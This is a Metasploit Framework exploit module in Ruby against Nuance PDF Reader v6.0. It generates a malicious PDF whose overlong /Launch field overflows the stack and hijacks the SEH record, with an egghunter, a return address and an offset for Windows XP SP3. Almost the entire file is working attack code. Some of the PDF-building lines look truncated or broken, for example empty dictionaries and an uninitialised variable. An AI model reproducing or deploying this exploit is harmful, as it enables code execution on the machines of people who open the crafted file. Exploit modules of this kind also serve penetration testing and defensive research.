## # $Id: nuance_pdf_launch_overflow.rb 10613 2010-10-08 22:59:19Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT include Msf::Exploit::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Nuance PDF Reader v6.0 Launch Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Nuance PDF Reader v6.0. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in a /Launch field. This results in overwriting a structured exception handler record. This exploit does not use javascript. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 10613 $", 'Author' => [ 'corelanc0d3r', 'rick2600', ], 'References' => [ [ 'OSVDB', '68514'], [ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-062-stack-buffer-overflow-in-nuance-pdf-reader-v6-0/' ] ], 'Payload' => { 'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e", }, 'Platform' => 'win', 'Targets' => [ [ 'Nuance PDF Reader v6.x (XP SP3)', { 'Ret' => 0x10191579, 'Offset' => 1290 } ] #ppr - pluscore.dll ], 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The output filename.', 'corelannuance.pdf']), OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']), ], self.class) end def exploit file_name = datastore['FILENAME'] badchars="" eggoptions = { :checksum => true, :eggtag => "w00t" } hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions) pdfpart1 = "%PDF-1.4\n" pdfpart1 << "1 0 obj\n" pdfpart1 << "<>/Contents 2 0 R " pdfpart1 << "/Annots[ 24 0 R 25 0 R 9 0 R ]>>\n" pdfpart1 << "endobj\n" pdfpart1 << "4 0 obj\n" pdfpart1 << "<>\n" pdfpart1 << "endobj\n" pdfpart1 << "7 0 obj\n" pdfpart1 << "<>\n" pdfpart1 << "endobj\n" pdfpart1 << "9 0 obj\n" pdfpart1 << "<>/BE<>/MK<>>>/AP<>/T()/A 12 0 R /AA 17 0 R >>\n" pdfpart1 << "endobj\n" pdfpart1 << "16 0 obj\n" pdfpart1 << "<>\n" pdfpart2 << "endobj\n" pdfpart2 << "trailer\n" pdfpart2 << "<<00000000000000000000000000000000>]" pdfpart2 << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n" pdfpart2 << "startxref\n" pdfpart2 << "0000\n" pdfpart2 << "%%EOF\n" buffer = "\x01" * target['Offset'] nseh = "\xeb\x06\x41\x41" seh = [target.ret].pack('V') buffer2 = "\x01" * (6908 - hunter.length - egg.length) tweakhunter = "\x5a" makepdf = pdfpart1 + buffer + nseh + seh + tweakhunter + hunter + egg + buffer2 + pdfpart2 print_status("Creating '#{datastore['FILENAME']}' file...") file_create(makepdf) end end